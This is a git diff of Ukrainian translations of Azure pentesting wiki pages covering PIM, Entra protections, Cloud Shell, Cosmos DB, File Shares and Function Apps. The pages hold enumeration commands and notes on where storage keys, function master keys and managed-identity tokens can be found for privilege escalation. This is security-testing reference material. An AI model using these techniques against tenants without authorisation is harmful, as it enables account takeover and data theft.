який йому потрібен привілей (наприклад, 3 години). Потім **адміністратор повинен затвердити** запит.\ +Зверніть увагу, що користувач також зможе попросити **продовжити** час. -Moreover, **PIM send emails** whenever a privileged role is being assigned to someone. +Більше того, **PIM надсилає електронні листи** щоразу, коли привілейована роль призначається комусь.
-When PIM is enabled it's possible to configure each role with certain requirements like: +Коли PIM увімкнено, можна налаштувати кожну роль з певними вимогами, такими як: -- Maximum duration (hours) of activation -- Require MFA on activation -- Require Conditional Access acuthenticaiton context -- Require justification on activation -- Require ticket information on activation -- Require approval to activate -- Max time to expire the elegible assignments -- A lot more configuration on when and who to send notifications when certain actions happen with that role +- Максимальна тривалість (години) активації +- Вимагати MFA при активації +- Вимагати контекст аутентифікації умовного доступу +- Вимагати обґрунтування при активації +- Вимагати інформацію про квиток при активації +- Вимагати затвердження для активації +- Максимальний час для закінчення придатних призначень +- Багато інших налаштувань щодо того, коли і кому надсилати сповіщення, коли певні дії відбуваються з цією роллю -### Conditional Access Policies +### Політики умовного доступу -Check: +Перевірте: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Entra Identity Protection +### Захист ідентичності Entra -Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt. +Захист ідентичності Entra - це сервіс безпеки, який дозволяє **виявляти, коли користувач або вхід занадто ризикований** для прийняття, дозволяючи **блокувати** користувача або спробу входу. -It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**: +Це дозволяє адміністратору налаштувати його для **блокування** спроб, коли ризик "Низький і вище", "Середній і вище" або "Високий". Хоча за замовчуванням він повністю **вимкнений**:
> [!TIP] -> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options. +> Сьогодні рекомендується додавати ці обмеження через політики умовного доступу, де можна налаштувати ті ж самі опції. -### Entra Password Protection +### Захист паролів Entra -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\ -It also allows to **ban a custom password list** that you need to provide. +Захист паролів Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) - це функція безпеки, яка **допомагає запобігти зловживанню слабкими паролями, блокуючи облікові записи, коли відбувається кілька невдалих спроб входу**.\ +Вона також дозволяє **заборонити користувацький список паролів**, який потрібно надати. -It can be **applied both** at the cloud level and on-premises Active Directory. +Вона може бути **застосована як** на рівні хмари, так і в локальному Active Directory. -The default mode is **Audit**: +Режим за замовчуванням - **Аудит**:
-## References +## Посилання - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md index d6ae7e834..edcdc2fc4 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -8,24 +8,25 @@ Не існує дозволів, призначених для цього сервісу, тому немає технік підвищення привілеїв. Також немає жодного виду перерахунку. -### Ключові особливості +### Key Features -**Середовище**: Azure Cloud Shell забезпечує безпечне середовище, працюючи на Azure Linux, власному дистрибутиві Linux Microsoft, призначеному для хмарної інфраструктури. Усі пакунки, включені до репозиторію Azure Linux, внутрішньо компілюються Microsoft для захисту від атак на ланцюг постачання. -**Попередньо встановлені інструменти**: Cloud Shell включає в себе комплексний набір попередньо встановлених інструментів, таких як Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git та текстові редактори, такі як vim, nano та emacs. Ці інструменти готові до використання. Щоб перерахувати встановлені пакунки та модулі, ви можете використовувати "Get-Module -ListAvailable", "tdnf list" та "pip3 list". -**$HOME збереження**: При першому запуску Azure Cloud Shell ви можете використовувати його з або без підключеного облікового запису зберігання. Вибір без підключення зберігання створює епізодичну сесію, де файли видаляються, коли сесія закінчується. Щоб зберегти файли між сесіями, підключіть обліковий запис зберігання, який автоматично підключається як **$HOME\clouddrive**, з вашим **$HOME** каталогом, збереженим як файл **.img** в Azure File Share. Однак файли поза $HOME та стани машин не зберігаються. Для безпечного зберігання секретів, таких як SSH ключі, використовуйте Azure Key Vault. -**Диск Azure (Azure:)**: PowerShell в Azure Cloud Shell включає диск Azure (Azure:), що дозволяє легко навігувати по ресурсах Azure, таким як Compute, Network та Storage, використовуючи команди, схожі на файлову систему. Перейдіть на диск Azure за допомогою cd Azure: і поверніться до свого домашнього каталогу за допомогою cd ~. Ви все ще можете використовувати cmdlets Azure PowerShell для управління ресурсами з будь-якого диска. -**Встановлення користувацьких інструментів**: Користувачі, які налаштовують Cloud Shell з обліковим записом зберігання, можуть встановлювати додаткові інструменти, які не потребують прав адміністратора. Ця функція дозволяє подальшу настройку середовища Cloud Shell, даючи можливість користувачам адаптувати свою конфігурацію до своїх конкретних потреб. +**Environment**: Azure Cloud Shell забезпечує безпечне середовище, працюючи на Azure Linux, власному дистрибутиві Linux Microsoft, призначеному для хмарної інфраструктури. Усі пакети, включені до репозиторію Azure Linux, внутрішньо компілюються Microsoft для захисту від атак на ланцюг постачання. +**Preinstalled Tools**: Cloud Shell включає в себе комплексний набір попередньо встановлених інструментів, таких як Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git та текстові редактори, такі як vim, nano та emacs. Ці інструменти готові до використання. Щоб перерахувати встановлені пакети та модулі, ви можете використовувати "Get-Module -ListAvailable", "tdnf list" та "pip3 list". +**$HOME persistence**: При першому запуску Azure Cloud Shell ви можете використовувати його з або без підключеного облікового запису зберігання. Вибір без підключення зберігання створює епізодичну сесію, де файли видаляються, коли сесія закінчується. Щоб зберегти файли між сесіями, змонтуйте обліковий запис зберігання, який автоматично підключається як **$HOME\clouddrive**, з вашим **$HOME** каталогом, збереженим як файл **.img** в Azure File Share. Однак файли поза $HOME та стани машин не зберігаються. Для безпечного зберігання секретів, таких як SSH ключі, використовуйте Azure Key Vault. +**Azure drive (Azure:)**: PowerShell в Azure Cloud Shell включає Azure drive (Azure:), що дозволяє легко навігувати по ресурсах Azure, таким як Compute, Network та Storage, використовуючи команди, схожі на файлову систему. Перейдіть до Azure drive за допомогою cd Azure: і поверніться до свого домашнього каталогу за допомогою cd ~. Ви все ще можете використовувати команди Azure PowerShell для управління ресурсами з будь-якого диска. +**Custom Tool Installation**: Користувачі, які налаштовують Cloud Shell з обліковим записом зберігання, можуть встановлювати додаткові інструменти, які не потребують прав адміністратора. Ця функція дозволяє подальшу настройку середовища Cloud Shell, даючи можливість користувачам адаптувати свою конфігурацію під свої специфічні потреби. -## Посилання +## References -* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) -## Збереження -{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %} -[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md) -{% endcontent-ref %} +## Persistence + +{{#ref}} +../az-persistence/az-cloud-shell-persistence.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 756f63a39..7302356e7 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -4,32 +4,27 @@ ## Azure CosmosDB -**Azure Cosmos DB** - це повністю **керована NoSQL, реляційна та векторна база даних**, яка забезпечує час відповіді в один-два мілісекунди, автоматичну масштабованість та доступність з підтримкою SLA з безпекою корпоративного рівня. Вона дозволяє швидше розробляти додатки завдяки готовій багаторегіональній розподільній системі даних, відкритим API, SDK для популярних мов та функціям бази даних AI, таким як інтегрована підтримка векторів та безшовна інтеграція з Azure AI. +**Azure Cosmos DB** - це повністю **керована NoSQL, реляційна та векторна база даних**, яка забезпечує час відповіді в одиничні мілісекунди, автоматичну масштабованість та доступність з підтримкою SLA з безпекою корпоративного рівня. Вона дозволяє швидше розробляти додатки завдяки готовій багаторегіональній розподільній системі даних, відкритим API, SDK для популярних мов та функціям бази даних AI, таким як інтегрована підтримка векторів та безшовна інтеграція з Azure AI. Azure Cosmos DB надає кілька API бази даних для моделювання реальних даних, використовуючи документи, реляційні, ключ-значення, графові та колонові моделі даних, серед яких NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin та Table. Одним з ключових аспектів CosmosDB є Azure Cosmos Account. **Azure Cosmos Account** є точкою входу до баз даних. Обліковий запис визначає ключові налаштування, такі як глобальний розподіл, рівні узгодженості та конкретний API, який буде використовуватися, наприклад, NoSQL. Через обліковий запис ви можете налаштувати глобальну реплікацію, щоб забезпечити доступність даних у кількох регіонах для доступу з низькою затримкою. Крім того, ви можете вибрати рівень узгодженості, який балансує між продуктивністю та точністю даних, з варіантами від сильної до остаточної узгодженості. ### NoSQL (sql) -API NoSQL Azure Cosmos DB є документно-орієнтованим API, який використовує JSON як формат даних. Він надає синтаксис запитів, подібний до SQL, для запитів до об'єктів JSON, що робить його придатним для роботи з структурованими та напівструктурованими даними. Точка доступу служби: - -{% code overflow="wrap" %} +API NoSQL Azure Cosmos DB є документно-орієнтованим API, який використовує JSON як формат даних. Він надає синтаксис запитів, подібний до SQL, для запитів до об'єктів JSON, що робить його придатним для роботи зі структурованими та напівструктурованими даними. Точка доступу служби: ```bash https://.documents.azure.com:443/ ``` -{% endcode %} - #### Бази даних -У межах облікового запису ви можете створити одну або кілька баз даних, які слугують логічними групами контейнерів. База даних виступає як межа для управління ресурсами та правами користувачів. Бази даних можуть або ділити виділену пропускну здатність між своїми контейнерами, або виділяти окрему пропускну здатність для індивідуальних контейнерів. +У межах облікового запису ви можете створити одну або кілька баз даних, які слугують логічними групами контейнерів. База даних діє як межа для управління ресурсами та правами користувачів. Бази даних можуть або ділити виділену пропускну здатність між своїми контейнерами, або виділяти окрему пропускну здатність для індивідуальних контейнерів. #### Контейнери -Основною одиницею зберігання даних є контейнер, який містить JSON-документи і автоматично індексується для ефективного запитування. Контейнери еластично масштабуються і розподіляються по розділах, які визначаються ключем розділу, заданим користувачем. Ключ розділу є критично важливим для забезпечення оптимальної продуктивності та рівномірного розподілу даних. Наприклад, контейнер може зберігати дані клієнтів, з "customerId" як ключем розділу. +Основною одиницею зберігання даних є контейнер, який містить JSON-документи і автоматично індексується для ефективного запиту. Контейнери еластично масштабуються і розподіляються по розділах, які визначаються ключем розділу, заданим користувачем. Ключ розділу є критично важливим для забезпечення оптимальної продуктивності та рівномірного розподілу даних. Наприклад, контейнер може зберігати дані клієнтів, з "customerId" як ключем розділу. #### Перерахування -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name --container-name --container-name --database-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosD @@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "" -AccountName " # List all user-defined functions (UDFs) in a specific Cosmos DB SQL container. Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### Підключення Для підключення потрібна бібліотека azure-cosmosDB (pip install azure-cosmos). Крім того, кінцева точка та ключ є критично важливими компонентами для встановлення з'єднання. -{% code overflow="wrap" %} ```python from azure.cosmos import CosmosClient, PartitionKey @@ -158,11 +149,7 @@ print("All items in the container:") for item in all_items: print(item) ``` -{% endcode %} - -Інший спосіб встановлення з'єднання - це використання **DefaultAzureCredential()**. Просто потрібно увійти (az login) з обліковим записом, який має дозволи, і виконати його. У цьому випадку необхідно виконати призначення ролі, надавши необхідні дозволи (див. для більше) - -{% code overflow="wrap" %} +Інший спосіб встановлення з'єднання - це використання **DefaultAzureCredential()**. Просто потрібно увійти (az login) з обліковим записом, який має дозволи, і виконати його. У цьому випадку необхідно виконати призначення ролі, надавши необхідні дозволи (див. для більше). ```python from azure.identity import DefaultAzureCredential from azure.cosmos import CosmosClient @@ -187,17 +174,11 @@ item = { container.create_item(item) print("Document inserted.") ``` -{% endcode %} - ### MongoDB API MongoDB NoSQL є документно-орієнтованим API, який використовує формат даних, схожий на JSON, BSON (Binary JSON). Він надає мову запитів з можливостями агрегації, що робить його придатним для роботи зі структурованими, напівструктурованими та неструктурованими даними. Кінцева точка сервісу зазвичай має такий формат: - -{% code overflow="wrap" %} ```bash mongodb://:/ ``` -{% endcode %} - #### Бази даних У MongoDB ви можете створити одну або кілька баз даних в межах екземпляра. Кожна база даних слугує логічною групою колекцій і забезпечує межу для організації та управління ресурсами. Бази даних допомагають логічно розділяти та управляти даними, наприклад, для різних додатків або проектів. @@ -206,9 +187,8 @@ mongodb://:/ #### Перерахування -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name --resource # List all user definitions for MongoDB within an Azure Cosmos DB account az cosmosdb mongodb user definition list --account-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosDB @@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName -ResourceGro Get-AzCosmosDBMongoDBRoleDefinition -AccountName -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### Підключення Тут ви можете знайти пароль за допомогою ключів або за допомогою методу, описаного в розділі privesc. -{% code overflow="wrap" %} ```python from pymongo import MongoClient @@ -311,31 +287,29 @@ document = { result = collection.insert_one(document) print(f"Inserted document with ID: {result.inserted_id}") ``` -{% endcode %} - ## Посилання -* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) ## Підвищення привілеїв -{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %} -[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-cosmosDB-privesc.md +{{#endref}} -## Після експлуатації +## Постексплуатація -{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %} -[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-sql-post-exploitation.md +{{#endref}} -## Завдання +## ToDo * Решта БД тут, таблиці, cassandra, gremlin... -* Ознайомтеся з пост-експлуатацією "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" та визначеннями ролей, оскільки тут може бути підвищення привілеїв +* Ознайомтеся з постексплуатацією "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" та визначеннями ролей, оскільки тут може бути підвищення привілеїв * Ознайомтеся з відновленнями diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md index 4ed36c2f4..1758e608d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md +++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md @@ -19,19 +19,19 @@ - **Щотижнева резервна копія**: Точка резервного копіювання створюється щотижня в зазначений день і час (неділя о 19.30) і зберігається від 1 до 200 тижнів. - **Щомісячна резервна копія**: Точка резервного копіювання створюється щомісяця в зазначений день і час (наприклад, перша неділя о 19.30) і зберігається від 1 до 120 місяців. - **Щорічна резервна копія**: Точка резервного копіювання створюється щороку в зазначений день і час (наприклад, перша неділя січня о 19.30) і зберігається від 1 до 10 років. -- Також можливе виконання **ручних резервних копій та знімків у будь-який час**. Резервні копії та знімки насправді є однаковими в цьому контексті. +- Також можливо виконувати **ручні резервні копії та знімки в будь-який час**. Резервні копії та знімки насправді є однаковими в цьому контексті. ### Підтримувані аутентифікації через SMB -- **Аутентифікація на основі AD DS на місці**: Використовує облікові дані локальної Active Directory, синхронізовані з Microsoft Entra ID для доступу на основі ідентичності. Вимагає мережевої підключеності до локальної AD DS. +- **Аутентифікація на основі AD DS на місці**: Використовує облікові дані локальної Active Directory, синхронізовані з Microsoft Entra ID для доступу на основі ідентичності. Вимагає мережевої підключеності до локального AD DS. - **Аутентифікація Microsoft Entra Domain Services**: Використовує Microsoft Entra Domain Services (хмарний AD) для надання доступу за допомогою облікових даних Microsoft Entra. -- **Microsoft Entra Kerberos для гібридних ідентичностей**: Дозволяє користувачам Microsoft Entra аутентифікувати спільні файли Azure через Інтернет за допомогою Kerberos. Підтримує гібридні віртуальні машини, приєднані до Microsoft Entra, без вимоги підключення до локальних контролерів домену. Але не підтримує тільки хмарні ідентичності. -- **Аутентифікація AD Kerberos для клієнтів Linux**: Дозволяє клієнтам Linux використовувати Kerberos для аутентифікації SMB через локальну AD DS або Microsoft Entra Domain Services. +- **Microsoft Entra Kerberos для гібридних ідентичностей**: Дозволяє користувачам Microsoft Entra аутентифікувати спільні файли Azure через Інтернет, використовуючи Kerberos. Підтримує гібридні Microsoft Entra приєднані або Microsoft Entra приєднані VM без вимоги підключення до локальних контролерів домену. Але не підтримує тільки хмарні ідентичності. +- **Аутентифікація AD Kerberos для клієнтів Linux**: Дозволяє клієнтам Linux використовувати Kerberos для аутентифікації SMB через локальний AD DS або Microsoft Entra Domain Services. ## Перерахування -{{#tabs}} -{{#tab name="az cli"}} +{{#tabs }} +{{#tab name="az" }} ```bash # Get storage accounts az storage account list #Get the account name from here @@ -58,9 +58,9 @@ az storage file list --account-name --share-name --snapshot # Download snapshot/backup az storage file download-batch -d . --account-name --source --snapshot ``` -{{#endtab}} +{{#endtab }} -{{#tab name="Az PowerShell"}} +{{#tab name="Az Powershell" }} ```bash Get-AzStorageAccount @@ -81,14 +81,14 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "" -Context (New-AzStorageContext -StorageAccountName "" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "" -Name "" | Select-Object -ExpandProperty Value) -SnapshotTime "") ``` -{{#endtab}} -{{#endtabs}} +{{#endtab }} +{{#endtabs }} > [!NOTE] > За замовчуванням `az` cli використовуватиме ключ облікового запису для підписання ключа та виконання дії. Щоб використовувати привілеї Entra ID principal, використовуйте параметри `--auth-mode login --enable-file-backup-request-intent`. > [!TIP] -> Використовуйте параметр `--account-key`, щоб вказати ключ облікового запису\ +> Використовуйте параметр `--account-key`, щоб вказати ключ облікового запису для використання\ > Використовуйте параметр `--sas-token` з токеном SAS для доступу через токен SAS ### Підключення diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index b7a773919..a488ceca1 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -11,15 +11,15 @@ ### Different Plans -- **Flex Consumption Plan**: Пропонує **динамічне, орієнтоване на події масштабування** з оплатою за фактом використання, додаючи або видаляючи екземпляри функцій залежно від попиту. Підтримує **віртуальне мережеве з'єднання** та **попередньо підготовлені екземпляри**, щоб зменшити холодні старти, що робить його підходящим для **змінних навантажень**, які не потребують підтримки контейнерів. -- **Traditional Consumption Plan**: За замовчуванням безсерверний варіант, де ви **платите лише за обчислювальні ресурси, коли функції виконуються**. Автоматично масштабується на основі вхідних подій і включає **оптимізації холодного старту**, але не підтримує розгортання контейнерів. Ідеально підходить для **періодичних навантажень**, які потребують автоматичного масштабування. -- **Premium Plan**: Призначений для **послідовної продуктивності**, з **попередньо прогрітими працівниками**, щоб усунути холодні старти. Пропонує **подовжені часи виконання, віртуальне мережеве з'єднання** та підтримує **кастомізовані образи Linux**, що робить його ідеальним для **додатків критичного призначення**, які потребують високої продуктивності та розширених функцій. +- **Flex Consumption Plan**: Пропонує **динамічне, орієнтоване на події масштабування** з оплатою за фактом використання, додаючи або видаляючи екземпляри функцій залежно від попиту. Підтримує **віртуальну мережу** та **попередньо підготовлені екземпляри**, щоб зменшити холодні старти, що робить його підходящим для **змінних навантажень**, які не потребують підтримки контейнерів. +- **Traditional Consumption Plan**: За замовчуванням безсерверний варіант, де ви **платите лише за обчислювальні ресурси, коли функції виконуються**. Він автоматично масштабується на основі вхідних подій і включає **оптимізації холодного старту**, але не підтримує розгортання контейнерів. Ідеально підходить для **періодичних навантажень**, які потребують автоматичного масштабування. +- **Premium Plan**: Призначений для **послідовної продуктивності**, з **попередньо прогрітими працівниками**, щоб усунути холодні старти. Пропонує **подовжені часи виконання, віртуальну мережу** та підтримує **кастомізовані образи Linux**, що робить його ідеальним для **додатків критичного призначення**, які потребують високої продуктивності та розширених функцій. - **Dedicated Plan**: Виконується на виділених віртуальних машинах з **передбачуваним білінгом** і підтримує ручне або автоматичне масштабування. Дозволяє запускати кілька додатків на одному плані, забезпечує **ізоляцію обчислень** і гарантує **безпечний доступ до мережі** через App Service Environments, що робить його ідеальним для **додатків з тривалим виконанням**, які потребують послідовного виділення ресурсів. -- **Container Apps**: Дозволяє розгортати **контейнеризовані функціональні додатки** в керованому середовищі, поряд з мікросервісами та API. Підтримує кастомні бібліотеки, міграцію спадкових додатків та **обробку GPU**, усуваючи управління кластерами Kubernetes. Ідеально підходить для **додатків, орієнтованих на події, масштабованих контейнеризованих додатків**. +- **Container Apps**: Дозволяє розгортати **контейнеризовані функціональні додатки** в керованому середовищі, поряд з мікросервісами та API. Підтримує кастомізовані бібліотеки, міграцію спадкових додатків та **обробку GPU**, усуваючи управління кластерами Kubernetes. Ідеально підходить для **додатків, орієнтованих на події, масштабованих контейнеризованих додатків**. ### **Storage Buckets** -При створенні нового Function App, який не контейнеризований (але надає код для виконання), **код та інші дані, пов'язані з функцією, будуть зберігатися в обліковому записі зберігання**. За замовчуванням веб-консоль створить новий обліковий запис для кожної функції для зберігання коду. +При створенні нового Function App, який не контейнеризований (але надає код для виконання), **код та інші дані, пов'язані з функцією, будуть зберігатися в обліковому записі Storage**. За замовчуванням веб-консоль створить новий обліковий запис для кожної функції для зберігання коду. Більше того, модифікуючи код всередині кошика (в різних форматах, в яких він може бути збережений), **код програми буде змінено на новий і виконано** наступного разу, коли функція буде викликана. @@ -30,7 +30,7 @@ Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **``** у JSON-файлах, які ви можете знайти всередині. -Зверніть увагу, що Functions також дозволяють зберігати код у віддаленому місці, просто вказуючи URL на нього. +Зверніть увагу, що функції також дозволяють зберігати код у віддаленому місці, просто вказуючи URL на нього. ### Networking @@ -44,7 +44,7 @@ ### **Function App Settings & Environment Variables** -Можливо налаштувати змінні середовища всередині програми, які можуть містити чутливу інформацію. Більше того, за замовчуванням змінні середовища **`AzureWebJobsStorage`** та **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (серед інших) створюються. Ці змінні особливо цікаві, оскільки вони **містять ключ облікового запису для контролю з ПОВНИМИ правами доступу до облікового запису зберігання, що містить дані програми**. Ці налаштування також потрібні для виконання коду з облікового запису зберігання. +Можливо налаштувати змінні середовища всередині програми, які можуть містити чутливу інформацію. Більше того, за замовчуванням змінні середовища **`AzureWebJobsStorage`** та **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (серед інших) створюються. Ці змінні особливо цікаві, оскільки **містять ключ облікового запису для контролю з ПОВНИМИ правами доступу до облікового запису зберігання, що містить дані програми**. Ці налаштування також потрібні для виконання коду з облікового запису зберігання. Ці змінні середовища або параметри конфігурації також контролюють, як функція виконує код, наприклад, якщо **`WEBSITE_RUN_FROM_PACKAGE`** існує, це вказує на URL, де розташований код програми. @@ -56,12 +56,12 @@ ### **Managed Identities & Metadata** -Так само, як і [**VMs**](vms/index.html), Functions можуть мати **Managed Identities** двох типів: системно призначені та призначені користувачем. +Так само, як і [**VMs**](vms/index.html), функції можуть мати **керовані ідентичності** двох типів: системно призначені та призначені користувачем. **Системно призначена** ідентичність буде керованою ідентичністю, яку **тільки функція**, якій вона призначена, зможе використовувати, тоді як **призначені користувачем** керовані ідентичності - це керовані ідентичності, які **будь-яка інша служба Azure зможе використовувати**. > [!NOTE] -> Так само, як і в [**VMs**](vms/index.html), Functions можуть мати **1 системно призначену** керовану ідентичність і **кілька призначених користувачем**, тому завжди важливо намагатися знайти всі з них, якщо ви компрометуєте функцію, оскільки ви можете підвищити привілеї до кількох керованих ідентичностей з однієї функції. +> Так само, як і в [**VMs**](vms/index.html), функції можуть мати **1 системно призначену** керовану ідентичність і **кілька призначених користувачем**, тому завжди важливо намагатися знайти всі з них, якщо ви компрометуєте функцію, оскільки ви можете підвищити привілеї до кількох керованих ідентичностей з однієї функції. > > Якщо не використовується системно призначена ідентичність, але одна або кілька призначених користувачем ідентичностей прикріплені до функції, за замовчуванням ви не зможете отримати жоден токен. @@ -84,7 +84,7 @@ **Типи ключів:** -- **Function Keys:** Ключі функцій можуть бути або за замовчуванням, або визначеними користувачем і призначені для надання доступу виключно до **конкретних кінцевих точок функцій** в рамках Function App, що дозволяє більш детально контролювати доступ до кінцевих точок. +- **Function Keys:** Ключі функцій можуть бути або за замовчуванням, або визначеними користувачем і призначені для надання доступу виключно до **конкретних кінцевих точок функцій** в рамках Function App, що дозволяє більш детальний доступ до кінцевих точок. - **Host Keys:** Ключі хоста, які також можуть бути за замовчуванням або визначеними користувачем, надають доступ до **всіх кінцевих точок функцій в рамках Function App з рівнем доступу FUNCTION**. - **Master Key:** Ключ майстра (`_master`) служить адміністративним ключем, який пропонує підвищені права, включаючи доступ до всіх кінцевих точок функцій (включаючи рівень доступу ADMIN). Цей **ключ не може бути відкликаний.** - **System Keys:** Системні ключі **керуються конкретними розширеннями** і потрібні для доступу до кінцевих точок вебхуків, які використовуються внутрішніми компонентами. Прикладами є тригер Event Grid та Durable Functions, які використовують системні ключі для безпечної взаємодії зі своїми відповідними API. @@ -96,7 +96,7 @@ ### Basic Authentication -Так само, як і в App Services, Functions також підтримують базову аутентифікацію для підключення до **SCM** та **FTP** для розгортання коду, використовуючи **ім'я користувача та пароль у URL**, наданому Azure. Більше інформації про це в: +Так само, як і в App Services, функції також підтримують базову аутентифікацію для підключення до **SCM** та **FTP** для розгортання коду, використовуючи **ім'я користувача та пароль в URL**, наданому Azure. Більше інформації про це в: {{#ref}} az-app-services.md @@ -199,15 +199,14 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} ### Container Based Deployments -Не всі плани дозволяють розгортати контейнери, але для тих, що дозволяють, конфігурація міститиме URL контейнера. В API налаштування **`linuxFxVersion`** матиме щось на зразок: `DOCKER|mcr.microsoft.com/...`, тоді як у веб-консолі конфігурація відображатиме **image settings**. +Не всі плани дозволяють розгортати контейнери, але для тих, які це дозволяють, конфігурація міститиме URL контейнера. В 